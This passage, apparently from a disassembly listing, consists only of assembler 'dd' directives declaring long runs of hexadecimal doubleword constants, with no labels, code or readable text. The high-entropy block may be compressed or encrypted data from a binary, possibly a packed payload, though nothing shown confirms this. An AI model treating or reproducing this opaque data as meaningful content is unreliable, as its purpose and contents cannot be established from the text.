867EB8A1h, 4FE6F449h dd 0AD2E59B1h, 4FBADEDAh, 0FC762AC1h, 26D6A149h, 0F4B73EE8h dd 0FC7458D6h, 4728E385h, 6824C6A1h, 8C0F0D62h, 0FD7F3D66h dd 0DF123CBCh, 0B44840B6h, 3BFDC292h, 5B5EF682h, 50BE3E72h dd 0B8D07D5Ah, 0CA828A70h, 5D75620Dh, 48EFA82Fh, 0FC575D44h dd 0B8818467h, 834DB990h, 0F1105C7Dh, 246A3909h, 2BC77A79h dd 8D58AAEFh, 58AC8942h, 76043EE1h, 0B63CBE8Bh, 0C421C81Ch dd 0EB14C19Bh, 32A75452h, 0A1540C4Eh, 32C6EA4Fh, 0A8081C71h dd 1629AC87h, 1FB05120h, 54462159h, 18EB8421h, 9CC35D1Ch dd 0F5D8A5F6h, 2004752Dh, 57555354h, 8B02C256h, 427A883Dh dd 0BBFF6A13h, 3C93EB89h, 1191F28h, 3C05F6D7h, 19A80B8h dd 1675E88Bh, 0B0D5580h, 0FDE95D47h, 0A3176166h, 0A45CB5DCh dd 35FF5545h, 3172091Ah, 0F40A134h, 0BB5B5D5Fh, 98209784h dd 77458130h, 0A157F61h, 0B891109h, 0A2C266A4h, 0D6E52916h dd 4A7F11D8h, 90653788h, 2D4DE847h, 88C9FFF0h, 80299925h dd 3455E454h, 0A1E81156h, 9ADFFC8Bh, 6AEEA252h, 0C851E902h dd 2886A214h, 0CE81D06Ch, 2A9423Bh, 0AF57DF89h, 571A316Ch dd 0FFC4850h, 6B900116h, 2B448DF8h, 0ACBA023Fh, 53570A91h dd 2ECAAD19h, 2FF7F9D5h, 819C3857h, 16B58577h, 4C4BAFFDh dd 5ECBA0AFh, 52D75EB5h, 141504F1h, 35495122h, 0AEA4FF2Ah dd 0B4BAF425h, 6816F03Ch, 347C9C38h, 27A3B418h, 9A14ABB1h dd 60F6FC09h, 0E101F6D0h, 18DBCC7Fh, 0D8859594h, 0E9C1DE3Bh dd 2C62FB81h, 53353878h, 0FAA51ECCh, 2482D125h, 591E779Ch dd 165E8796h, 0A06DEB24h, 7D0B39FDh, 0F45C7214h, 8D70946Dh dd 0B4107619h, 0DDC92FBCh, 7F8F0CD5h, 88D0575h, 32520D8Dh dd 604311Ch, 9BF568ECh, 5B901866h, 17B02CBCh, 3B621B98h dd 8BAC76B4h, 0D28D9EAh, 19ACBA64h, 24FB20AAh, 267463D5h dd 3B3E53DEh, 2DE6CB94h dd 865FE95Eh, 583EDF3Bh, 2BA01A92h, 264E74C7h, 3BF1BAA5h dd 0A327842Eh, 79884A2Eh, 20434184h, 0CA422E6h, 173064EFh dd 847A3941h, 138511DBh, 45C88313h, 9403EBB1h, 4D09EB30h dd 53FAA020h, 87B840BEh, 0D19CC808h, 0D1546348h, 4418C828h dd 0B3143C98h, 0B8400822h, 8F9C70D8h, 0BC2410A4h, 6FC924C4h dd 21F5C022h, 37DC45EDh, 400C2097h, 12BDECE0h, 7A488BF9h dd 0E9584EC9h, 0DC08674Eh, 2F575043h, 64DEE838h, 3B42044Dh dd 91AB6CACh, 6844FA6Ah, 4899C43h, 56723155h, 2C467E4Eh dd 506A6040h, 2F2C320Bh, 97EC4CBAh, 3426DECh, 9152FC25h dd 5C179D69h, 0EE3016BCh, 42804BCCh, 2E8F949Eh, 1412B718h dd 0B1B1A412h, 0A2561C08h, 1E9BDDA3h, 0A02755Ah, 9B0C70FFh dd 0F2DCC34h, 0E408C82Bh, 4882B5Ch, 9D2A50E4h, 42104089h dd 8F0A5348h, 3BB180B8h, 9E409113h, 38280C3Fh, 7ECB9007h dd 51898630h, 0A27C4A1Ch, 4A0C3914h, 381CA22Bh, 5B859DF8h dd 15E8729Ch, 0D47218C4h, 722CC415h, 30C415BCh, 0C415A472h dd 15947224h, 847228C4h, 7734C415h, 3C115798h, 11575CC8h dd 7948C838h, 1E144956h, 944C232Bh, 23AA5634h, 2BD2BD40h dd 468E44A8h, 951E60Ch, 2CEB5B5Fh, 0E8218494h, 96116E9Ch dd 8A9E453h, 0B274BC5Eh, 925A7D20h, 4229094Ah, 0FE7D8565h dd 516618C9h, 145B5FBAh, 0E23114CDh, 0EC45C9FFh, 2599512Ch dd 10542DE8h, 10649EFCh, 0F757B2F8h, 79567AE8h, 73227725h dd 98D7B934h, 2574F4A9h, 55993D3Ch, 0F316C650h, 9E43D808h dd 0B68811D8h, 5C565596h, 0FC252B7Bh, 0F384B9C1h, 0CB84855Eh dd 69768D06h, 2974731Eh, 964437FFh, 2516DD0h, 2015FB45h dd 4C73FF8h, 43F84500h, 72145D3Bh, 2AEBC314h, 7DA4CA39h dd 853389D8h, 7B421C45h, 4C570C74h, 54D6952Fh, 4B56F82Fh dd 47732F4h, 8E073B2Ch, 1944E297h, 880A8C58h, 205F548Bh dd 0F4D435C7h, 215EB0B7h, 18085882h, 944286A1h, 777BF801h dd 9D4F745Bh, 4059050Eh, 31E9080Ah, 22FA3203h, 13F43507h dd 850F5701h, 684985C6h, 2EF2A1CCh, 95CE8A1Eh, 8CC80AB4h dd 7B0B7859h, 0A5509085h, 747CE180h, 0C82D1228h, 1A984B07h dd 300DE587h, 38687875h, 145726AEh, 0A0F01030h, 107EEB17h dd 773F0736h, 7014847Dh, 0DFAEC5B9h, 277430C1h, 17BBAD2Dh dd 84485299h, 0B069815h, 0D032750Eh, 4C3B24C4h, 7E072CA8h dd 28104245h, 9F619F3Eh, 0CA2D370Fh, 3A2B2E43h, 1FB217F6h dd 0CAAF250Ah, 6AC1294Bh, 1A1D4298h, 1F07AF88h, 8F649013h dd 4540C80Ch, 0F2C8605h, 0B55FE0F8h, 4EB88773h, 0D861EF17h dd 56020718h, 5949DA7Ch, 0F8E80889h, 6B19DD52h, 0C65FCABEh dd 0F6F85E53h, 24AB5F9Bh, 0BD102427h, 0FCE815E4h, 0B23C9030h dd 0B81004B7h, 4212439Ah, 576A2725h, 7CE4FE91h, 0BE14C253h dd 98F4F8DCh, 74A24E99h, 2932E0AEh, 30A18D71h, 27C4DF51h dd 2FE6BA79h, 27BD9429h, 25FA1CA1h, 0EDBC68Bh, 0C044DFBDh dd 0E7EF286Ah, 5FB82984h, 0D73E021Ah, 925F1312h, 90C6769Fh dd 8529C9B9h, 70BB0C31h, 4D830678h, 0EB02F812h, 0FD1CADE9h dd 87646756h, 21D363EFh, 48F12540h, 29CA6B68h, 9AEC5413h dd 0FB496AC4h, 0BA2A13C9h, 0BD8D5920h, 0AF995D4h, 0F306D011h dd 0B388B9ABh, 0FCB026C4h, 24B4AC23h, 4ABF8683h, 7E89AEDDh dd 0C4B31890h, 0A722B8E8h, 0DE496A27h, 0FD537941h, 0BFAC060Fh dd 643B7D45h, 0FB53754Ah, 0A6C70632h, 9D212806h, 274F44A8h dd 7208927Fh, 264A5723h, 0BFE81C40h, 341860F3h, 633D8B2Dh dd 0FFBB498Ch, 41851FF3h, 741845B3h, 0FCFF4160h, 39752138h dd 30FF165Dh, 158371EBh, 8DCC2F8Ch, 2C836512h, 469B8704h dd 72264398h, 8D81BADDh, 0D8B5FFDCh, 7E5247ADh, 9B4CD74Fh dd 0E1C3AEFCh, 6B446A02h, 0CD7E49F9h, 2F23A9B2h, 6631D615h dd 452614CAh, 0C12998Ah, 3214965Ah, 0DCB00843h, 1C707D83h dd 52CF91D0h, 76242620h, 3843DCADh, 0B1F091FCh, 4B89442h dd 8E492F24h, 17C4FF0Eh, 1284C590h, 0EC4AD8Eh, 6802FAACh dd 0B47CA3E4h, 6A1407D2h, 45F265DBh, 2A932214h, 0FC978D50h dd 0B15752ACh, 302733EEh, 32527159h, 25D9DADCh, 913DD88h dd 993453D6h, 0A7AEEC95h, 8B49B30Ch, 57184D64h, 7518088Ah dd 0EBD61605h, 3FA4D54Eh, 5FE6B5D2h, 2AFB025Eh, 201C5813h dd 8A59BFA4h, 6928FEE9h, 463C9C55h, 0FC2C6BF8h, 0B5E9D3F5h dd 23CE3E68h, 23F03265h, 0EF8D5618h, 0AF924FB3h, 8A456FE2h dd 45140B60h, 0F0F630A4h, 62A7A377h, 60855FA0h, 9F33145Ah dd 2EEC8349h, 0FED645F7h, 0EFA0C1D5h, 6089B70Ch, 50D65929h dd 19F459CBh, 22562616h, 6F09CF11h, 44759633h, 634E5FBh dd 44EB70E0h, 0FFAB2801h, 69343526h, 7B305D2Dh, 4825A1E3h dd 4C8362BCh, 0BEA49FD5h, 3AEAA803h, 0D2868A1h, 5F0F4451h dd 0FF6165AAh, 52942B64h, 6CF8E3FAh, 0D64CB027h, 6EDCAA55h dd 8F47C409h, 99A6EE6Dh, 4A02109Ch, 84E524FEh, 25158E2Fh dd 0C096F527h, 75954C92h, 5826CF94h, 0EB786EA4h, 0B71CAE17h dd 9EB5E5DAh, 0BD759533h, 7FC6315Bh, 438C4B05h, 990C2787h dd 8F49BE30h, 54BB2D41h, 0E95B0222h, 369A5A55h, 42F7DB41h dd 0E45E161Ch, 0DCA648BFh, 0F5A6944Fh, 0DCBD9B22h, 0FB2B13B3h dd 44356921h, 18901D52h, 0CBB00D74h, 0EB03F82Fh, 5D99E2C3h dd 6A2B85D9h, 0A589D17h, 0B5107664h, 540054E2h, 4054740Ah dd 72C83B62h, 85B178F0h, 0DAF4677Dh, 18FC94C1h, 0ECC47E91h dd 6D742170h, 0C853174Ch, 0DCA18830h, 30AAD513h, 407490D2h dd 0EB099392h, 28C068AFh, 57721F3Ah, 0F46BA0F9h, 6213EA54h dd 29B59868h, 8E285714h, 0FD233568h, 4378554Ch, 2F6A5603h dd 2D48FEF6h, 0E088D6E7h, 3F847A46h, 0F18053C5h, 135BE445h dd 0A4083D8Bh, 0F2A95034h, 0C1E92C7h, 0F05232ABh, 0EC33C1DDh dd 0FD58B768h, 16985A99h, 0B748D357h, 22174238h, 0D0DC9581h dd 0D21DD04Bh, 0D77C32C4h, 0DC9559E6h, 3A4CCDABh, 0B7D486CCh dd 8C42EB9Ch, 7BAD89D6h, 77D2E1E1h, 0C8664244h, 0FE55CC06h dd 0C78C6D7Dh, 22F3508h, 7E7DBBCCh, 49CA68DAh, 0B8526155h dd 8488EC3Eh, 0B9BABC75h, 0F508C947h, 112A152h, 0AC526193h dd 0A5C299BEh, 0D8C6029Eh, 0CFB244A3h, 500AF816h, 26D49E08h dd 83B6C23h, 0C83E0C9Ch, 574844Ch, 1EBE3D1h, 0FB54F270h dd 56A7283Fh, 24FE2E98h, 15CA54Ah, 8EBAA30Bh, 0DC4D44EAh dd 4A24F2AFh, 188F22D0h, 0FF7EB7E9h, 55445192h, 0B2AEA05Ch dd 0A5819604h, 37892487h, 4E5D2775h, 0FC8822E8h, 48A4F021h dd 0D1FC2711h, 0D8F17D72h, 4167F5CBh, 4755404Dh, 7E43B1EAh dd 74A847ADh, 939F0762h, 0B010D7C6h, 0ADD6EA96h, 8AEBB253h dd 214C41Ch, 39CCE412h, 18943D5Fh, 541912C3h, 0CABEC399h dd 16C7802Fh, 57814E1Fh, 0BC91D8C5h, 98448998h, 553751Ch dd 9298A166h, 0FD99BF43h, 0B4D4C5CEh, 58318617h, 5FA7E42Dh dd 6AF8ED19h, 0EA48FCE6h, 7486256Bh, 62B70FA0h, 0F99CD54Ah dd 11B02789h, 194813EBh, 0A7702568h, 97B594FDh, 1A75EA82h dd 0EC4E74F2h, 0EDD6B38Bh, 69EB4A95h, 0DE243FDAh, 0ACF0800Ah dd 0E37E47D9h, 32066CE7h, 9F99AC5Ch, 0A087B34Ch, 0EC842091h dd 1A1D6EA6h, 25A6D568h, 1D5A8021h, 1163EAA7h, 0F0E04BCCh dd 2E538962h, 0EC3510A9h dd 9AF2EA06h, 0ED7AF574h, 39B7937Ah, 37C65727h, 0F068E8BFh dd 30785F74h, 48BE71E2h, 7E957C98h, 0B8816228h, 0D628140Dh dd 0C49D5C8Ah, 9E6F2D30h, 0B9A343E5h, 0C08C6FCh, 68FE8159h dd 995972CBh, 82960937h, 74678C8Bh, 0D4AFB55Bh, 0A8BF8068h dd 0D0007B3Eh, 7C8366B7h, 1424FE47h, 0F647559h, 50A5800Bh dd 6260E5Bh, 46BC93A3h, 0F9A5E010h, 0D49AAC7Eh, 0C54EBEDEh dd 0FC5CF09Eh, 33827619h, 643EF855h, 0F3FC859Eh, 0FEBE1028h dd 0B8136243h, 5B3E38A5h, 88625499h, 19293CA5h, 0B55E7557h dd 7D52F1DEh, 44027484h, 0B8EBDB33h, 55689C1h, 248A15C0h dd 465C53C8h, 1753A2DCh, 67A93888h, 30FC791Ch, 90246FDAh dd 8E5DACE0h, 0E0F2E043h, 0F2539117h, 53421443h, 0F22F196h dd 0A8DC109Ch, 0B9F1A4CEh, 0A8C52031h, 48E0230Fh, 602877A3h dd 5C91209Bh, 6BEB5726h, 7F4B9D54h, 6F537B69h, 619C2174h dd 7771A448h, 57178520h, 2FE4D5B8h, 0F062D273h, 0CC021A58h dd 98D77198h, 5FB3FCFFh, 0BE9F1241h, 0E0837230h, 0A13C7201h dd 1D85A693h, 0FB41FB80h, 0BEF1E537h, 0AC2156F3h, 0B7C17A04h dd 785D0A6Ah, 2EE01C99h, 14691414h, 0E230FFF2h, 752803F8h dd 6BDD0F63h, 0A0F0E72Dh, 0C9D18F10h, 0E8A52E9Ch, 2CC3FE78h dd 0DAE6DD1h, 27534185h, 0CBF02132h, 325FA2E1h, 0A588C44Ah dd 53521978h, 1A35BD61h, 0BE93F56Ch, 0F7A0FDE2h, 43B247Ch dd 80CCCA8Bh, 44E79728h, 5CA0F52Fh, 0FC63B59h, 0FDBA8725h dd 3AD8B799h, 478C609Dh, 21EC766h, 9889519Ch, 511DDF0h dd 77A96ADCh, 0BF506A84h, 0DACB7CF6h, 189F4D5Fh, 4D8D496Dh dd 12AF96D3h, 9E8BFE43h, 682D5730h, 0ADE52003h, 0D507E2A5h dd 429DACC6h, 0D5D44A4Fh, 0AD8EB2CEh, 4C7FE0Fh, 0F051DA24h dd 0F2D1A1B8h, 0A5618E4Dh, 0EA56219Fh, 0BB4CED0Ch, 23EA1A68h dd 4C297F03h, 0F05ABAFAh, 5C128EF2h, 5974E7A9h, 0B8094091h dd 12AAA04Fh, 0DDB2BF6Eh, 6A6674DBh, 41EC2460h, 74FD3FF0h dd 0EDB8518h, 3D657608h, 7CECF422h, 0BF03EB85h, 0C0F052B4h dd 3BC82BFAh, 6A9E73CBh, 313F411h, 1DCFAAC6h, 106743Eh dd 6429085Dh, 743B57CBh, 96CD1932h, 2CFA042Bh, 0D25D861h dd 1E8A70F4h, 4C0855D9h, 0DF13F01Dh, 759EE00Fh, 5AE8CE05h dd 0DBC7FF66h, 1F9C7D2Dh, 3DF08ECAh, 0E87D5966h, 7FC9A3D8h dd 0C7D8B84h, 0F69BA28Bh, 0CF9A2F8Ah, 0A22F3F1Dh, 51DEEBEFh dd 8C6C1711h, 0E0B76A9Fh, 8B03FC8Ch, 8CC40E04h, 0C84443ABh dd 70CC317Ch, 6043D00Ch, 0C450D410h, 0DC3140D8h, 43E00C30h dd 14941020h, 0C21098CEh, 10AAF09Ch, 2186E0A0h, 0A888D4A4h dd 0B0AC62C0h, 18A0B21Bh, 218690B4h, 0BC8880B8h, 5CC0626Ch dd 8648E418h, 46D1B583h, 0EC0E8ADAh, 0F08A0E20h, 0F4880710h dd 0F4F86704h, 8BC5ACA9h, 745A819Ah, 942C485h, 0DDCD8A1Eh dd 0FE491223h, 52F69F56h, 8D05900Fh, 0D12D301Ch, 755EF8EBh dd 0D80248DEh, 280C6A15h, 206C9488h, 12F8568Bh, 8E7D3A90h dd 0D1383408h, 51F791EEh, 28B1E2EEh, 20B40DE4h, 0E126974h dd 440C203Ah, 0C889CFE9h, 26694132h, 0C3FE31F0h, 22D82BDh dd 499A45Fh, 33832EC4h, 22C9CB4Fh, 331CC113h, 5049F7D2h dd 5DBD8951h, 6816A8E4h, 0B0A3A990h, 0D71794CBh, 7CB2B35h dd 3530C412h, 3809EFFAh, 0F4735557h, 60C85EA7h, 15180BBh dd 0F38B1DC0h, 0DD0E10BFh, 6AEFC520h, 2B8D093Ch, 0F3D5ADEh dd 0CCF6F7C1h, 0F0C633F2h, 0F55D58F5h, 8F9FD6Eh, 0E21DBF50h dd 0F090BE0Eh, 4592F931h, 0D6A3AAF3h, 1C713227h, 7C7157C9h dd 5A0B7C49h, 55A59074h, 32A66EFh, 57E76C4Bh, 0B5A13938h dd 5525A22Ch, 3A35CECh, 0B95F5EA2h, 1889461Fh, 0D35541EBh dd 4FD2D57h, 73BE34FAh, 1ADA2C66h, 0ED054291h, 0E0D11921h dd 0C24239A2h, 0BEB0352h, 9F890231h, 0D0D95E07h, 40744825h dd 0E40F7042h, 0FF685231h, 0AFFA8B1Ch, 22CCC054h, 49C3482Bh dd 56D71B02h, 46575052h, 0A935D4F5h, 72D77701h, 0D9DE3B04h dd 1234B9D1h, 31BB5764h, 0AACA8B20h, 0F0481616h, 77580098h dd 8305725Bh, 0DD5058FEh, 244B6A1Bh, 777722F6h, 124710A1h dd 83B3142h, 18328937h, 2644842Bh, 1B428C21h, 19461E22h dd 0A090B21h, 30D15673h, 1BC62B20h, 0C303D105h, 0CABBD713h dd 0D9E8278Ch, 9F542DC3h, 8724FF69h, 0A4BCAAFCh, 0D855E49Fh dd 0F3A1DB33h, 4532338h, 3C9D3952h, 44042622h, 674A0733h dd 2A489ABh, 83610210h, 18D963A8h, 0EB291CFCh, 3C2CC970h dd 90096019h, 55881825h, 451965CAh, 0CE091425h, 6C855B92h dd 85B3433h, 2944102Ch, 12A40162h, 3117220Ch, 0E0218A02h dd 74149797h, 0C104217Dh, 6B382F75h, 741726F2h, 8C67BB27h dd 0DD18E97Eh, 0B421BD66h, 4914486Bh, 0FC7D3344h, 2BF9A14Ah dd 3E3F6A1Eh, 0FDA4850Bh, 79FFE677h, 0A10B8CA6h, 124CB8B4h dd 0B726FAFAh, 8D0D1B60h, 7DB94D4Fh, 9CDF2741h, 0C470BFFh dd 4EA4BC5Fh, 116DBAF8h, 4EFA64BDh, 84990430h, 0FC1C21ACh dd 0B195E83Eh, 0BE14FB18h, 0EC2275DBh, 0F7466A26h, 535D7819h dd 767AE93Eh, 0C871749Fh, 881C219Ah, 17A04BC4h, 656A0C44h dd 0ABC8DC20h, 0CD7DB7CFh, 0A5339C99h, 4928DD44h, 0BC44966h dd 22BBB14Eh, 4DD618B4h, 0D06E7425h, 3D85F818h, 9828867Ah dd 909111F9h, 85C29D12h, 2967520h, 7E07EC52h, 97734CBDh dd 0D6E85E7Eh, 0F7C96A48h, 0D097EA44h, 642F989h, 938193Ch dd 45397D46h, 21C27E98h, 0D8E25DD4h, 0BABDB523h, 21C8E171h dd 66ADC4D0h, 0D99E2CF3h, 9C680929h, 41D6D542h, 2D7975E9h dd 0BF5040BCh, 845B5B56h, 80BE5602h, 1A57068Bh, 0EA795750h dd 4BBC3DC2h, 42758190h, 251C28A1h, 1DA883C4h, 0B7B6B898h dd 16201345h, 9EACF068h, 0BCF659C6h, 0B21F5B42h, 0E4CEAC90h dd 0E8CB51F1h, 0E052BE18h, 0E6EC4A0Ah, 0B93674B2h, 2C101216h dd 9FB740Eh, 43C15EA2h, 0FB1CA2ACh, 0AE5C9618h, 6521FA8Ah dd 0C9FCA488h, 0FD4914F6h, 0F2902BC9h, 8DBB5704h, 0B1AC3E11h dd 2395F420h, 4FADD082h, 0D061EAB0h, 8A7AFE38h, 0F60E4188h dd 0BCF2D316h, 12F9CAE4h, 813C6AE2h, 575FB896h, 0FD02E32h dd 67D891Ah, 2AF4FA5Dh, 0F863FCA8h, 0E006C8D8h, 0BC074430h dd 0A659E08Fh, 0A6CA9D18h, 0DDC7FDD4h, 5D390008h, 0FF1576CCh dd 9A986CD1h, 57734212h, 0D85039FCh, 75B73D0Fh, 0B3E61E51h dd 0D412299Bh, 1DE0651Eh, 32A76B1Ah, 1A96DC12h, 0B3FE09F5h dd 0E4122BAFh, 69539C1Ah, 36A052Eh, 79512750h, 5F4ABA77h dd 0A85A71CEh, 0F3097DF3h, 0F2A45D74h, 0D228ACF8h, 77EEF2EAh dd 2D26FEA5h, 60EE9C45h, 3C74FC15h, 0D303A2FFh, 0A271485Fh dd 2B12ADB4h, 70674C2h, 0FA416924h, 57F65CF5h, 0F4380F96h dd 0A304DF59h, 0E37AD30h, 0FAA484F0h, 2C2D9D3Ch, 0C214D6FEh dd 3011FAA4h, 0B1A8A758h, 0A425BF27h, 0FC7D1ED7h, 402485FAh dd 0E58BDC25h, 0B50930FCh, 0D49FFE28h, 564854FBh, 0CCBEC4C8h dd 126A13E1h, 3ADE2905h, 0B4120CBDh, 0A9A3FBCCh, 101F724Bh dd 144FB15Fh, 0D418872Ch, 7D8D62BDh, 79DAF45Ch, 0A4A5B1A8h dd 5A1082D1h, 0FEC20BEBh, 6456445Fh, 9FA17A5h, 54D92F8Ch dd 0A8F04E0Ch, 0F6332F10h, 84856603h, 63F1A75Ah, 83A7942Eh dd 2F03100Ah, 1974C62Bh, 5664D148h, 96B3BC6Bh, 0FACECDBFh dd 0FC85E07Ch, 162B14EBh dd 120EFA2Bh, 96E7AE53h, 6E1FA15Fh, 90F45CE4h, 0F8CAEF42h dd 862F8EB2h, 0A6507822h, 0DCAFED11h, 7E79005Dh, 0CEB5B89h dd 1C744876h, 8AAA70ECh, 179A7917h, 267C3733h, 0FA7EA396h dd 0CFC4243Ah, 94951586h, 0D9885AB7h, 0F244EE45h, 36C87D24h dd 4C4202EDh, 0E412A3E8h, 39B9EF66h, 15BFD867h, 84F015D4h dd 0EC0BE054h, 22DC4384h, 9B5CA2F4h, 0EA083171h, 6BC6A094h dd 0E8A0CEFCh, 0F6B5FF33h, 500770D3h, 0EB46D4B7h, 6EB8DAC1h dd 0BCF2D4ADh, 0BA732C33h, 147FA7BFh, 68A6B710h, 6A4A45C4h dd 4E78C7E0h, 0A4D8ADFFh, 9F321026h, 0E4AA5153h, 0BCA78E22h dd 139E46F0h, 0E2C78B24h, 6F0C3A92h, 276E0605h, 0BBDA62EBh dd 0E8947F95h, 49B56CBFh, 56255A6Ch, 539289E7h, 4CA02E65h dd 3F58B7EBh, 0A332C852h, 322D423Ah, 16121DFh, 3E8835Fh dd 0C1294E74h, 2A5CA720h, 0F03ACB11h, 0B7530E74h, 24535DD6h dd 91E5B77Ch, 5A3F43EAh, 0D183D84h, 0BF5BA55Dh, 0E3480F56h dd 6E95BF96h, 382CE2ABh, 681D536Ah, 5EB2122Fh, 97129E02h dd 62BF31C9h, 28FF4E4Fh, 1973DD0h, 80BE0FA9h, 68501540h dd 2FB291D8h, 3128EDEh, 176840E3h, 0F11C5953h, 6484B97Dh dd 0F7AB575Ch, 0C372133Dh, 0E2755850h, 582DFF68h, 9419544Ah dd 2C193C6Ah, 54F08F1h, 0D0BFE775h, 0F4AF7207h, 0DE0C903Eh dd 6434296Bh, 0DFE13490h, 0F3C38D25h, 370D4558h, 0FF03230Bh dd 0E675FC4Dh, 5B35CBF4h, 25CE3BABh, 0D4EF578h, 2B94D686h dd 8EBF7816h, 0D8BE964Ch, 0A6852840h, 0BD08A256h, 0CC9AFB59h dd 28D65503h, 52C1F709h, 147405BAh, 0EA41018Ah, 0F40D50Ah dd 5F17541h, 28500DA4h, 0FEFF38CAh, 0D0037E83h, 33C1F083h dd 4C1D4C2h, 71C4A95Ch, 0E8748103h, 3AFC418Bh, 0E42E3259h dd 0C9A915BEh, 0F137C66h, 28110DFh, 418DCDEBh, 2B5681FEh dd 1490C3C1h, 16FDB2FEh, 0EE4AFC47h, 8357B443h, 465C07CFh dd 0CB40A80Ch, 3A474ED4h, 3452DE9Eh, 2BD40491h, 421154DAh dd 877C5D3h, 121308DDh, 7D1922A2h, 0F3EB6105h, 721C642Fh dd 0B154BFBFh, 0EF668343h, 0F8C65904h, 35E2B70Eh, 766DF4F4h dd 17F00245h, 88A1095Ah, 6ED14DD3h, 0D531614h, 6A5917D7h dd 0A33674E4h, 5842E236h, 4F3A5D09h, 0E8267513h, 94FCCE5Fh dd 72E41523h, 5E743D66h, 882E92C9h, 0C962E49Eh, 0DF0FEB27h dd 8435C523h, 55B89F4Ah, 9329ADD6h, 0C2290AFh, 0E7B8AF0Fh dd 0D1D1C3B7h, 972E85CFh, 0A94D37B8h, 0ABD9B05Fh, 1488A0C7h dd 0DEF75166h, 7774DBC7h, 0C08FB73Ch, 0C78DEBCFh, 2E10C10Ah dd 8650F626h, 0BB2A4E1Ch, 3B234520h, 28F9F2C8h, 4EF70272h dd 0BDE4CC57h, 7D29200Eh, 47E6708h, 82463E95h, 0D2DF03h dd 3B4BEBFCh, 2E72144Dh, 0C205AF9Dh, 540974C1h, 12C0366Ah dd 496BD0BFh, 0E9842553h, 0E31234BCh, 503732E4h, 1403D929h dd 0D818EBD8h, 25E3DA9Ch, 88288E60h, 43870354h, 8BF4A2F5h dd 8F775C97h, 4AB07685h, 10301712h, 0F20C4E83h, 0D0464EBh dd 0B84E8620h, 0BE7E2B6Dh, 92E5FA02h, 0EC2C08E8h, 1A0EA5BFh dd 0F4625F66h, 7DC8DF2Eh, 4FF6DC33h, 1113352Ah, 7B241589h dd 0B82F5375h, 7B985A02h, 0E0FE3DFFh, 2DD3879Ch, 868B3A3Ah dd 0D94BD2D6h, 183B9697h, 4C775BF6h, 90AF0096h, 0A620DF36h dd 367529C2h, 6BDA0BB6h, 481B44F7h, 43825D2Dh, 0EDE248FCh dd 0CBD61EABh, 1D375712h, 0ABB54D7Ah, 17E535BEh, 94DAF5D2h dd 4A92431Eh, 73C6148Ch, 0F0E6240Fh, 165079B7h, 219FC9A0h dd 412A7A2Fh, 6651E44Fh, 51478C93h, 21F59F14h, 3D68475Ah dd 1CA0514Ah, 0E81D4B75h, 98BE223Ah, 2FAF843Bh, 0C3F9B2EBh dd 2FF0A0Dh, 4545094Dh, 65962534h, 0B12492Ah, 0C2770954h dd 876F614h, 0BD565492h, 395E1009h, 0E26AD51Fh, 0F6FC8B95h dd 8A09C9D0h, 0C4836D2h, 629C8829h, 0B7C0CE74h, 8B045873h dd 4EFC1FEh, 87522A85h, 3A349E67h, 8975FCEFh, 0EB422105h dd 0E5115732h, 0B35270Eh, 503B60Fh, 0E57604F8h, 8E36AEABh dd 0A6D9903Bh, 0DF928231h, 289DAD6Ah, 0AF424314h, 3E14EB12h dd 0FCB0621Dh, 0E8210AFEh, 1BEF1AC5h, 445259Eh, 0F7333EECh dd 23241422h, 0F92FE6Bh, 0A2691648h, 752F160Dh, 0C61CCCC2h dd 493DED23h, 7A50E9EDh, 443C5FDh, 92CD2840h, 6AC3171Dh dd 228AEE40h, 92828F50h, 0BCC36D55h, 0D1BDA79Ch, 0C7AE8B98h dd 0FB090B89h, 8A81B0F0h, 0C227BB22h, 1861F328h, 42443916h dd 14A61074h, 0DE407584h, 0ACE199C3h, 5B116BBDh, 26C43715h dd 4BCDB23Fh, 8661C161h, 0B7485A62h, 0BA9C816Ah, 2D708D12h dd 77C858F0h, 86E91F5Bh, 0CC82F05Eh, 285C3FFh, 0DEB1E57h dd 0A04CB76Fh, 2801ACCCh, 0BAC8548Bh, 0D2850A40h, 1A8C4774h dd 82C2C58Ah, 4FD4055h, 0F72D1D72h, 3E1CCD9h, 0D1002BDAh dd 49470788h, 5F8BFA75h, 6226FFC8h, 0CA10440Fh, 0CE28330h dd 1B7402E9h, 77ABF306h, 4A4549B6h, 0C35F7F8Ch, 61AE040Dh dd 570CB9C4h, 7A0F4AECh, 0D96A5356h, 0F71484E4h, 6E0EB5C6h dd 0D686D3D5h, 56FEA83h, 68A21EBh, 74640446h, 2902B025h dd 753420A4h, 1E165CEBh, 84E32A0Ah, 98210D14h, 304B2F3Dh dd 10BFF375h, 0CEC45E5Bh, 66B2C7F7h, 0B53B1228h, 128447C6h dd 3BEE7529h, 34336C1Bh, 6156FA5Eh, 3B178996h, 4BC84C86h dd 8B7F21AFh, 9E812D06h, 0C6120A66h, 50DE83D8h, 0E82CC884h dd 251EF0F6h, 8191C2F7h, 9308450Ch, 7458C665h, 0E2811EF5h dd 150C2677h, 32848B0Eh, 2AD3E204h, 0AC333654h, 500A7C0Ah dd 55756007h, 85D5B1F8h, 5317A44Ah, 0D253F855h, 0D0846F03h dd 7ECC1643h, 703050Fh, 0CFE4AB6Ah, 10B54BEDh, 8B090F31h dd 0C220780Dh, 8341048Ah, 81DDE048h, 0D2EB4703h, 0A6372C9Dh dd 4BEF28C9h, 0C5C41DEEh, 504752Bh, 62DB3310h, 8FD0C44h dd 0BC241A5h, 703D91A1h, 0D8F4807h, 629B4E8Dh, 80D0465Ch dd 83CFEB31h, 0C386C0FDh, 0D8F70275h, 4E18129Fh, 0CEB02677h dd 1CA1029Dh, 0DFFA43AEh, 0D0FF0202h, 0F8902868h, 0BE144B29h dd 7FB20DC8h, 0F10514Ch, 0EF9114C2h, 385C09AFh, 84B3B1EDh dd 69A323DEh, 39859C74h, 291243Dh, 33931175h, 0A219AC08h dd 8182D2FCh, 0ED7B0CFEh, 89140603h, 1447203Dh, 291C1D88h dd 9CA13C07h, 9875D9D3h, 0C0980DEEh, 718D5615h, 0F01F3BFCh dd 6951372h, 0EE838598h, 803528C2h, 5EED7323h, 95345268h dd 0F7482C21h, 1140283Eh, 2963843h, 10755BD6h, 34897B85h dd 2C8CFA87h, 65119E5Fh, 73AB453Bh, 558750Dh, 0BAEDEBEEh dd 53AA5A74h, 0D621BEFDh, 0DDEA8DE0h, 0F3424424h, 5AF55AF1h dd 49E41C97h, 0AA107F52h, 4AB43FEFh, 0F08BE440h, 64086578h dd 0C013FEE0h, 0DE4B5D1Ah, 2AEE6369h, 0AAA2FC5Eh, 5412A38Eh dd 6405E58h, 0FDC03D69h, 53E8DCCh, 2A269E9Ch, 89D8BD16h dd 0BE9E256Dh, 